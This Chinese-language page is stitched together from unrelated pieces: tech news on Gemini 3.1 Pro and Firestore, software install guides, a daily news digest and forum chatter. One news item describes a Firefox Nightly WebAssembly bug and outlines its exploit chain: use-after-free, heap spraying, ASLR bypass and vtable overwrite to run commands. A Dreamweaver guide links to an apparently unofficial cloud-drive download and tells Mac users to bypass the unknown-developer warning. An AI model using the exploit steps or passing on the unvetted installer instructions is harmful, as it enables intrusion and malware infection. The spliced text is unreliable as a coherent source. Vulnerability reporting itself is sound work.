文章深入探讨了在 HarmonyOS 6 中使用 OH_NativeXComponent 开发自定义人脸识别组件的实践方法,强调了其相较于传统方式的优势:更接近底层,性能更优。详细阐述了使用 OH_NativeXComponent 进行人脸识别模型绘制的关键步骤,包括环境配置、代码编写以及组件的集成和调试。通过实战案例,展示了如何利用 OH_NativeXComponent 实现高度定制化的人脸识别界面,为开发者提供了可借鉴的实现方案。OH_NativeXComponent 不仅仅是一种组件开发方式,更是一种拥抱底层、精益求精的开发理念。掌握它,开发者将能够构建更高效、更灵活的 HarmonyOS 应用,在人脸识别等关键领域实现创新突破。希望本文能激发更多开发者探索 HarmonyOS 的底层能力,共同打造更智能、更强大的应用生态。

Mozilla Firefox 中的一个严重远程代码执行 (RCE)漏洞是由 SpiderMonkey JavaScript 引擎的 WebAssembly 垃圾回收代码中的一个单字符拼写错误引起的,开发人员错误地输入了&(按位与)而不是|(按位或)。

安全研究员 Erge 在研究 Firefox 149 Nightly 源代码以寻找 CTF 挑战的灵感时发现了这个漏洞,并成功利用该漏洞在 Firefox 渲染器进程中执行了代码。

该漏洞是在重构文件中的 WebAssembly GC 数组元数据时,在提交 fcc2f20e35ec 中引入的。js/src/wasm/WasmGcObject.cpp 有问题的行读取的是,oolHeaderOld->word = uintptr_t(oolHeaderNew) & 1;而它应该是oolHeaderOld->word = uintptr_t(oolHeaderNew) | 1;

由于指针对齐的原因,与 1 进行按位与运算的结果始终为 0,导致代码存储零而不是存储预期的、最低有效位已设置的转发指针。

这个单字符错误造成了内存损坏漏洞,因为它错误地将行外 (OOL) WebAssembly 数组标记为行内 (IL) 数组,导致垃圾回收器错误地处理内存引用。

Firefox RCE 漏洞

SpiderMonkey 的 WebAssembly GC 实现中存在一个 bug,该 bug 会具体影响 WasmArrayObject::obj_moved()垃圾回收器在内存位置之间移动 Wasm 数组时调用的函数。

当一个 OOL 数组被重定位时,垃圾回收器必须在旧缓冲区头部留下一个转发指针,以便 Ion(SpiderMonkey 的 JIT 编译器)能够找到数据的新位置。转发指针与普通头部的区别在于,它的最低有效位 (LSB) 设置为 1。

该拼写错误导致转发指针被设置为 0,无意中满足了函数中将数组标识为内联数组的条件isDataInline():return (headerWord & 1) == 0;

此漏洞只能在 Ion 优化的 WebAssembly 函数中触发,因为 Baseline 编译器中不存在此机制。

研究人员 Erge 开发了一种概念验证漏洞利用程序,通过以下步骤实现了任意读/写原语和完全远程代码执行:

触发了一次小型垃圾回收,导致转发指针中存储了 0。
wasm::Instance::updateFrameForMovingGC由于零转发指针,Ion 的函数错误地将数组识别为内联数组。
该函数返回了旧的数组地址而不是新的地址,从而阻止了栈帧的更新。
由于 Ion 继续使用已释放的阵列内存,因此产生了释放后使用 (UAF) 的情况。
使用类似这样的值执行堆喷射,0x41414141以回收已释放的内存
通过控制解释型 OOL 数组的基地址,实现了任意读/写操作。
通过喷射包含二进制相对指针的对象来绕过 ASLR
覆盖虚函数表以劫持 RIP 并执行任意系统命令

披露和修补时间表

漏洞披露过程十分迅速:

事件日期
漏洞由提交 fcc2f20e35ec 引入2026 年 1 月 19 日
独立研究人员提交了漏洞报告 20137392026 年 2 月 3 日(预计)
Erge 提交了 bug 报告 2014014 72 小时内2026 年 2 月 3 日
漏洞已通过提交 05ffcde 修复2026 年 2 月 9 日
安全赏金已发放并分配2026 年 2 月 11 日

该漏洞仅影响 Firefox 149 Nightly 版本,从未出现在任何正式版中,因此避免了被广泛利用。Mozilla 的安全团队迅速修复了该漏洞,两位独立发现该漏洞的安全研究人员平分了漏洞赏金。

 Adobe Dreamweaver CC 2018 是经典的网页制作工具,Mac 能用。不管你是写 HTML/CSS 代码的程序员,还是喜欢可视化拖拽排版的初学者,它都能应付——左边写代码右边实时看效果,还能直接预览网页在不同浏览器里的样子。

第一步:先把安装包准备好

安装包下载: https://pan.quark.cn/s/54b3766bc624,点下载等它跑完。默认一般在「下载」文件夹里,下完能看到这个 .dmg文件。

第二步:双击打开 dmg 文件

找到下载好的 .dmg文件,双击它!会弹出新窗口,里面有 Adobe Dreamweaver CC 2018 的安装图标(一般是紫色系的软件 logo),旁边箭头指向「应用程序」文件夹。

第三步:拖到“应用程序”文件夹

按住 Dreamweaver 的图标,直接往右边的「应用程序」文件夹拖就行~ 拖过去等几秒,进度条走完就复制好了(这一步等于安装完成)。

第四步:打开软件试试

打开「访达」,左边点「应用程序」,找到 Adobe Dreamweaver CC 2018 的图标,双击打开。第一次打开可能会跳提示“来自未知开发者”(Mac 的安全限制),别慌!点提示框里的「仍要打开」,确认后就能正常用了。

treeNMS-1.7.5.zip是 treeNMS 1.7.5 版本​ 的压缩包,这是一个可视化的数据库管理工具,主要用来管理 MySQL、PostgreSQL、Oracle 等数据库,能图形化建表、查数据、导数据,比命令行好用很多。

部署就是解压、配环境、启动服务,下面用大白话一步步说,跟着做就能跑起来。

一、准备工作

  1. 下载安装包

  2. 准备运行环境

    • 需要 Java 环境(JDK 1.8+) ,因为 treeNMS 是 Java 写的。
    • 用 java -version检查,没装的话去 Oracle 或 OpenJDK 官网下载安装。
  3. 解压工具

    • 用 7-Zip 或 WinRAR 解压 treeNMS-1.7.5.zip,得到解压后的文件夹,里面是 binconflib等目录。
  4. 准备数据库(可选)

    • 如果用内置 H2 数据库,可跳过这步;
    • 如果想用 MySQL/PostgreSQL 等外部数据库,需先建一个空库,并记录好连接信息。

二、部署步骤

  1. 解压到固定目录

    • 把 zip 包解压到一个不容易误删的地方,比如 D:\tools\treeNMS
  2. 配置数据库(可选)

    • 如果用外部数据库:

      • 打开 conf/application.yml(或类似配置文件);
      • 找到 datasource 配置段,改成你的数据库地址、端口、库名、用户名、密码;
      • 保存文件。
  3. 启动服务

    • 进入解压目录的 bin文件夹;
    • 双击 startup.bat(Windows)或 startup.sh(Linux/Mac);
    • 等命令行窗口跑一会,看到类似 “Started Application in xx seconds” 就说明启动成功了。
  4. 访问管理界面

    • 打开浏览器,输入 http://localhost:8080(端口如果在配置文件改过就用新的);
    • 首次登录一般用默认账号 admin,密码 admin(具体看官方说明)。
  5. 登录后操作

    • 进入后可以添加数据库连接,选择 MySQL、PostgreSQL、Oracle 等;
    • 输入数据库的 IP、端口、用户名、密码,测试连接成功后就能管理数据表和数据了。

核心能力全面下放,多端同步上线

 

在上周发布Gemini 3 Deep Think重大更新、面向科学研究与工程领域复杂问题之后,谷歌今日正式推出支撑这些突破的“核心智能”升级版本——Gemini 3.1 Pro

 

Gemini 3.1 Pro 是一款采用混合专家架构的 Transformer 模型,这意味着它在生成提示响应时仅激活部分参数。用户可输入包含高达 100 万 token 数据量的提示词,内容不仅涵盖文本,还包括视频等多模态文件。Gemini 3.1 Pro 的响应输出最多包含 6.4 万 token。

 

这意味着,Gemini 3 系列的最新能力不再只停留在研究层面,而是开始全面进入开发者工具、企业服务以及普通用户的日常应用场景。

 

根据官方披露,Gemini 3.1 Pro 已于今日开始分批上线,覆盖对象包括开发者、企业客户以及普通消费者:

  • 开发者:可通过 Gemini API(Google AI Studio)、Gemini CLI、智能体开发平台Google Antigravity以及 Android Studio 预览使用;

  • 企业用户:通过Vertex AI和 Gemini Enterprise 接入;

  • 消费者:可在 Gemini App 及NotebookLM中直接体验。

 

谷歌方面表示,此次“全线铺开”的策略,旨在将最新一代推理能力快速融入实际工作流与个人使用场景,而不仅仅停留在实验室或演示阶段。

推理表现翻倍、12 项基测排名第一

 

从技术定位来看,Gemini 3.1 Pro 并非简单的性能微调,而是一次核心推理能力(core reasoning)的系统性升级。官方将其描述为“更聪明、更具能力的基础模型”,尤其适用于复杂问题求解、跨领域分析以及需要抽象逻辑的任务。

 

这一进步也体现在权威评测成绩上。在 ARC-AGI-2 基准测试中,Gemini 3.1 Pro 获得了 77.1% 的经验证成绩。该测试专门用于评估模型在从未见过的新逻辑模式下的泛化与推理能力。它包含多个视觉谜题,每个谜题均由一系列图形组成。构成谜题的图形在设计上各不相同,但都遵循特定规律。大语言模型必须推断出该规律,并利用其生成新的图形。

 

这一分数是 Gemini 3 Pro 推理表现的两倍以上。在当前大模型竞争格局中,ARC-AGI 系列被视为衡量“类通用智能推理能力”的重要指标之一,这一成绩也意味着 Gemini 3.1 Pro 在抽象推理与新问题适应能力上迈出了关键一步。

 

值得注意的是,人类参与者在该测试中的平均正确率约为 60%。前阵子发布的 Gemini Deep Think 以 84.6%的准确率遥遥领先其他模型。

 

虽然 Gemini 3.1 Pro 在得分上低于 Gemini Deep Think,但这是一款基础模型,并且它向所有用户免费开放。而具备“深度思考”能力的 Deep Think 模式属于更高维度的技术突破,目前仅限 Google AI Ultra 订阅用户使用,且每日限用 10 次。

 

能让开发者免费体验能力如此强的 Gemini 3.1 Pro,谷歌已经很大方了。

 

再来横向比较下 Gemini 3.1 Pro 与其他模型:Claude Opus 4.6 达到 68.8%,Claude Sonnet 4.6 为 58.3%,GPT-5.2 获得 52.9%,而上一代产品 Gemini 3 Pro 仅得到 31.1%。短短三个月时间,同一系列模型的闭卷推理能力就从 31.1%跃升至 77.1%,实现了翻倍以上的跨越式提升。

 

谷歌官方公布了 16 项基准测试数据,Gemini 3 Pro 在其中12 项基测中均位列第一。

 

在评估 AI 模型使用第三方服务执行任务能力的 MCP Atlas 测试中,Gemini 3 Pro 以 69.2%的成绩领先于最近刚发布的 Claude Sonnet 4.6,在编程测试 Terminal-Bench 2.0 中,Gemini 3 Pro 编码能力高于 Opus 4.6、GPT-5.2。在另一项包含科学编程任务的代码基准测试 SciCode 上,该模型的表现比 Claude Opus 4.6 高出 7%。

 

从发布节奏来看,谷歌正在尝试将前沿研究成果更快转化为“默认可用”的基础能力。先通过 Deep Think 展示在科学与工程问题上的上限,再通过 3.1 Pro 将这些能力沉淀为更稳定、更通用的底座模型,并迅速推向 API、企业平台和消费级应用。 

智能的实际应用

 

Gemini 3.1 Pro 面向那些“给出一个简单答案远远不够”的任务而设计,它将高级推理能力转化为可用于解决最棘手问题的实用智能。升级后的智能水平能够在多种现实场景中发挥作用——无论是将复杂主题以清晰、直观的方式呈现出来,还是把分散的数据综合成一个统一视图,亦或是推动一个富有创造力的项目从构想走向落地。

 

为了说明其潜在用途,Gemini 团队指出,该模型可以创建可用于网站的 SVG 动画,还可以将小说的文学风格转化为个人作品集网站的设计。

 

自去年 11 月推出 Gemini 3 Pro 以来,用户反馈和技术进步共同推动了这一系列快速迭代。今天发布的 3.1 Pro 预览版旨在验证这些更新成果,并将在全面上线前继续在智能体工作流等前沿领域进行深度优化。

 

即日起,Gemini 应用中的 3.1 Pro 版本将向 Google AI Pro 和 Ultra 套餐用户逐步开放,提供更优使用权限。3.1 Pro 现已独家登陆 NotebookLM 平台,面向 Pro 及 Ultra 用户开放。开发者和企业用户可通过 AI Studio、Antigravity、Vertex AI、Gemini Enterprise、Gemini CLI 及 Android Studio 等渠道,在 Gemini API 中抢先体验 3.1 Pro 预览版。

 

去年 9 月加盟谷歌 DeepMind 的清华物理系知名研究者姚顺宇(Shunyu Yao)在 x 上发帖称,更强的模型也将很快亮相。

 

在公司 2025 年第四季度收益报告中,首席执行官 Sundar Pichai 表示:“我们的第一方模型,如 Gemini,现在通过客户直接使用 API,每分钟处理超过 100 亿个 token,Gemini App 的月活跃用户已增长到超过 7.5 亿。”

网友:谷歌重回巅峰

 

随着 Gemini 3.1 Pro 正式上线,围绕这次更新的讨论迅速在技术社区中展开。与以往大模型发布时对“参数规模”“模型体量”的高度关注不同,不少网友认为,这一版本释放出的关键信号,并不在于“更大”,而在于整体推理能力和复杂问题求解能力的持续上推。

 

有开发者指出,Gemini 3.1 Pro 的定位非常明确:不再单纯追求模型规模的扩张,而是更强调在真实任务中的完成度和稳定性。这也被视为当前头部大模型竞争的一个重要转折点——竞争焦点正在从“谁的参数更多”,转向“谁能把问题真正做完、做好”。

 

在 x 上,该开发者表示:

 

“Gemini 3.1 Pro 上线了,重点不是更大,而是把整体推理和复杂问题求解能力继续往上推。这波信号很明确:头部模型竞争正在从参数规模,转向真实任务完成率。”

 

与此同时,还有网友系统梳理了谷歌近年来模型更新的时间线,直言人工智能的发展节奏已经进入“以月甚至以周计”的阶段。在这样的背景下,谷歌已难以承受过长的更新间隔。

 

Gemini 3.1 专业版在较短时间内推出,被解读为谷歌对这一现实压力的直接回应:必须持续、快速地将核心能力推向市场。

成本与落地能力同样成为讨论的焦点。有网友特别提到,Gemini 3.1 Pro 在降低使用成本的同时提升智能水平,这种优化路径对于推动 AI 在生产环境中的应用尤为关键。在他们看来,人工智能的前沿价值并不仅体现在基准测试成绩上,更体现在这些能力能否被开发者社区轻松获取、快速部署,并稳定运行于真实业务中。

 

综合这些反馈可以看出,Gemini 3.1 Pro 的发布,已经不只是一次常规的模型升级,而更像是一次方向性的表态:在大模型逐渐走向成熟的阶段,真正决定胜负的,将是推理能力、工程可用性以及规模化落地的综合表现。

 

参考链接:

https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro/

https://www.ai.jp.net/article/google-s-gemini-3-1-pro-a-new-reasoning-champion-c710f5

https://x.com/ShunyuYao14

https://deepmind.google/models/gemini/pro/

 

phpstudy_x64_8.1.1.3是 PhpStudy 8.1.1.3 64位版本​ 的安装包,这玩意儿是个集成环境,把 PHP、Apache、MySQL 都打包在一起,装一个就能跑本地网站,做PHP开发、测试源码特别方便。

一、准备工作

  1. 下载安装包

  2. 确认系统版本

    • 必须是 64 位 Windows(Win7/Win10/Win11 都行),32 位系统要用 32 位安装包。
  3. 用管理员身份运行(推荐)

    • 右键安装包 → 选“以管理员身份运行”,防止权限不足装不上。

二、安装步骤

  1. 双击 phpstudy_x64_8.1.1.3.exe运行(如果右键过了就直接双击)。
  2. 第一次打开会弹出“用户账户控制”提示 → 点  “是”
  3. 进入安装向导,选语言(默认中文)→ 点  “确定”
  4. 阅读许可协议 → 选  “我接受” ​ → 点  “下一步”
  5. 选安装位置:

    • 默认在 C:\phpstudy_pro,可点“浏览”改到其他盘(比如 D 盘)。
  6. 附加任务:

    • 建议勾“创建桌面快捷方式”,以后找软件方便。
  7. 点  “安装” ​ 开始装,等进度条走完(几十秒到一分钟)。
  8. 安装完会问是否立即启动 → 可先取消,等会儿再开。

三、首次使用与基本操作

  1. 装完后,桌面或开始菜单找到 PhpStudy​ → 点开。
  2. 第一次打开是主界面,左边是“环境”选项,右边是“网站”管理。
  3. 启动服务

    • 在“环境”里选 Apache 或 Nginx,点“启动”,再选 MySQL 点“启动”,等状态变绿。
  4. 创建网站

    • 点到“网站”标签 → 点“创建网站” → 填域名(比如 test.com)、根目录(放网站文件的文件夹)、PHP 版本 → 点“确定”。
  5. 访问网站

    • 在浏览器输 http://test.com(或 localhost)就能看到网站,前提是 hosts 文件里把 test.com 指向 127.0.0.1。

谷歌已经彻底改革了Firestore企业版的查询引擎,增加了管道(Pipeline)操作,这让开发者可以将多个查询阶段串联起来,用于复杂的聚合、数组操作和正则表达式匹配。这次更新消除了 Firestore 长期以来的查询限制,并使得索引成为可选的,使数据库与其他主要 NoSQL 平台持平。

Pipeline 操作通过数据库内部的顺序阶段来转换数据。开发者现在可以解包数组、聚合结果,并在聚合输出上进行过滤,这些能力之前是不可用的。谷歌声称新引擎支持超过 100 个查询特性,现在可以在 Android、iOS、Web 和管理员 SDK 的预览版中使用,Flutter、Unity 和 C++的支持将稍后推出。

Firebase 团队用一个食谱应用示例来说明这一变化。以前,如果标签以数组的形式存储在食谱文档中,就没有办法在查询中提取和计数它们以找到流行标签。开发者不得不维护单独的标签元数据。有了 Pipeline 操作,一个查询就可以解包标签数组,计算所有食谱中的出现次数,按标签名称分组,按流行度排序,并返回前十个。

const snapshot = await db.pipeline()   .collection("recipes")   .unnest(field("tags").as("tagName"))   .aggregate({           accumulators: [countAll().as("tagCount")],     groups: ["tagName"]    }).sort(field("tagCount").descending())   .limit(10)   .execute()
复制代码

这种方法模仿了 MongoDB 和类似数据库中的聚合管道。Firestore 产品经理 Tyler Crowe 和 Minh Nguyen写道,这“使我们与其他主要 NoSQL 数据库在功能上持平”。

Firestore 企业版不会自动创建索引,也不要求它们来运行查询。这颠覆了标准版模型,后者默认构建单字段索引,并依赖它们来执行查询。权衡是:写入速度更快,存储成本降低,但在大型未索引集合上的查询运行缓慢。

谷歌增加了 Query Explain 和 Query Insights 工具,以帮助开发者发现性能问题。Query Explain 显示哪些查询命中了索引,哪些回退到全表扫描。Query Insights 显示最常运行的查询及其性能模式,以便开发者可以决定索引实际上在哪里重要。

企业版支持稀疏、非稀疏和唯一索引,对性能和执行现有查询都很有用。开发者可以将标准查询包装在 db.pipeline.createFrom(query) 中,并立即开始添加新阶段。SDKs 与标准版语法保持向后兼容性,因此团队不必重写正在工作的代码。

从标准版迁移到企业版需要使用 Firestore 的导入/导出服务复制到新数据库。索引和安全规则不会自动转移——团队需要重新创建它们。任何指向旧数据库的客户端将继续使用它,直到连接字符串更改。

尽管名为“企业版”,但该版本包括一个免费层。定价模型也发生了变化:企业版将写入和删除合并为一个“写入操作”类别,并按数据块计费,这可以降低小文档应用的成本。标准版计费将写入和删除分别对待。

谷歌关于更新的博客文章强调了目标用例:

像电子商务、互动游戏、内容管理和复杂的用户个性化这样的高要求解决方案。

公司指出,标准版的“简化查询引擎对索引有很强的依赖性,通常需要在整个应用生命周期中提前规划。”

与谷歌云系统合作的云架构师 Gustavo Olmedo 在 LinkedIn 上分析了架构影响。他指出,随着应用的增长,数据库经常成为无意的数据处理层,Firestore 的新引擎使这一点变得明确,而不是迫使团队在应用代码中处理复杂性。

Olmedo 强调了从解决方案架构角度的三个关键变化:索引控制转移到开发者那里,提高了写入性能并减少了存储开销;可观测性成为一等公民,具有查询规划和执行统计;成本变得更加可预测,使用量定价与文档大小挂钩,而不是隐含的索引行为。

他指出了迁移的灵活性:

现有的 Firestore 用户可以逐步采用管道,保持向后兼容性,甚至通过其 MongoDB 兼容模式重用工具。

Olmedo 将核心问题定义为:“将这个逻辑更接近数据是否简化了整个系统?”而不仅仅是数据库能否做更多。

预览版中存在一些限制:Pipeline 操作尚未与 Firestore 模拟器一起工作,不支持实时监听或离线持久性,并且不处理数组包含或向量搜索,效率不如标准版。谷歌表示将使用其他索引作为回退,但警告预览期间性能可能会落后。

标准版不会消失。谷歌确认将继续支持两个版本,熟悉的查询方法也不会被弃用。如果在标准数据库上运行流水线操作,会抛出服务器错误。

新的查询引擎作为 Firestore 企业版的一部分,在原生模式下发布。完整的文档和代码示例可在 Firebase 的开发文档中找到。

原文链接:

https://www.infoq.com/news/2026/02/firestore-enterprise-pipeline/

📰 今日新闻精选:

  • 中央气象台:春节长假进入后半段,北方将有大风降温和沙尘天气,南方雨水增多
  • 19 日全社会跨区域人员流动量预计超 3.39 亿人次,同比增长 11.5%,创今年春运以来单日新高
  • 两部门:加强烟花爆竹全链条安全监管;广东鹤山设立烟花爆竹非法行为有奖举报,奖金最高 30 万
  • 湖南新化县一消防车救援返程途中坠崖,6 名消防员因公牺牲,事故原因调查中
  • 福建 2 名初中女生扶摔倒女子遭索赔 22 万,女子称受惊吓摔倒,交警认定两名初中生次责
  • 广东一公司发帖悬赏 60 万寻狗,公司回应:若能成功找回一定兑现,狗本身价值较高;律师解读:公开悬赏有法律效力
  • 我国科学家在光通信及 6G 领域取得新进展,数据传输速率刷新目前已知的新纪录
  • 冬奥会:宁忠岩夺得速度滑冰男子 1500 米金牌,中国代表团以 3 金 3 银 4 铜升至奖牌榜第 12 位
  • 亚马逊超越沃尔玛,成为全球销售额最高的公司,终结了沃尔玛连续 13 年的榜首地位
  • 外媒:德国总理默茨警告美国勿挑起关税战,称计划与中方讨论未来合作
  • 日媒:日本挖到含稀土泥浆,高市早苗宣称下下代都用不完,专家称成果被夸大,其最终成本是中国的近 20 倍
  • 韩媒:韩国前总统尹锡悦涉嫌发动内乱案一审被判处无期徒刑
  • 英媒:英国国王查尔斯三世弟弟安德鲁被捕,涉嫌公职中行为不当,查尔斯国王表态 “全力配合”
  • 英媒:继一家大学后,印度 IT 巨头威普罗公司被曝使用中国宇树机器狗冒充 “自研产品”
  • 外媒:消息称美军最早本周末准备打击伊朗,但特朗普尚未最终决定;内塔尼亚胡警告伊朗:已为任何情况做好准备

📅 今日信息:

  • 公历:2026-02-20 星期五 双鱼座
  • 农历:二〇二六年正月初四
  • 公历纪念日:世界社会公正日
  • 下一节气:2026-03-05,惊蛰
  • 今年进度:13.97%(已过 51 天,剩余 313 天)

🌟 历史上的今天

  • 1986 年:苏联发射和平号空间站,开启了长期载人航天的新篇章,宇航员们在那里生活和工作了多年。
  • 2013 年:美国宇航局的好奇号火星车在火星上首次使用钻头采集岩石样本,帮助科学家更深入地了解这颗红色星球。

每晚跟 Claude code 对话干点事情还是很开心的,就是开心完了感觉自己职业生涯也完了.
现在的经验和感受是,AI 不太擅长架构,项目一大,代码还是容易堆成屎山.
不过就 AI 这个进化速度,感觉也不远了,编程是不是也要扫进历史的垃圾桶,作为开发者还应该关注或者做哪些事情呢?

我之前没怎么跨,也就是看看晚会, 和家里人打打电话。

今天看到北京地铁好几条线运营时间延长,最长的 8 号线瀛海方向到凌晨 2:01 ,今年也有打算,打算晚上俩人去王府井步行街逛逛。

ps, 另外平常放假前一天的下午,可以 4 点左右下班,今天不知道呢。
㊗️各位大佬 新年快乐, 新年猛猛搞钱。 猛猛搞钱